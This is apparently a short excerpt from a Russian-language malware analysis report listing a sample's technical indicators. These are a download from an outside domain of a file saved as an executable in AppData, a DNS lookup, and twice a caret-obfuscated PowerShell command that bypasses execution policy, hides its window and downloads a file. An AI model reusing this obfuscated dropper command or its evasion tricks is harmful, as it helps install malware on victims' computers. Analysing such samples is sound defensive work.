Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "Po^we^R^SHE^ll.ExE^ ^-EXecu^Ti^on^p^oLic^y ^BY^pAS^S -NOProF^I^l^E -wIND^OW^styL^E^ Hid^d^EN (nEw^-^o^b^ject^ ^sYS^TEm.N^et.wEBCl^iENT^)^.^d^ownLo^AD^f^IL^E('http://www.zoerpoled.t...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /C "Po^we^R^SHE^ll.ExE^ ^-EXecu^Ti^on^p^oLic^y ^BY^pAS^S -NOProF^I^l^E -wIND^OW^styL^E^ Hid^d^EN (nEw^-^o^b^ject^ ^sYS^TEm.N^et.wEBCl^iENT^)^.^d^ownLo^AD^f^IL^E('http://www.zoerpoled.t...' (со скрытым окном)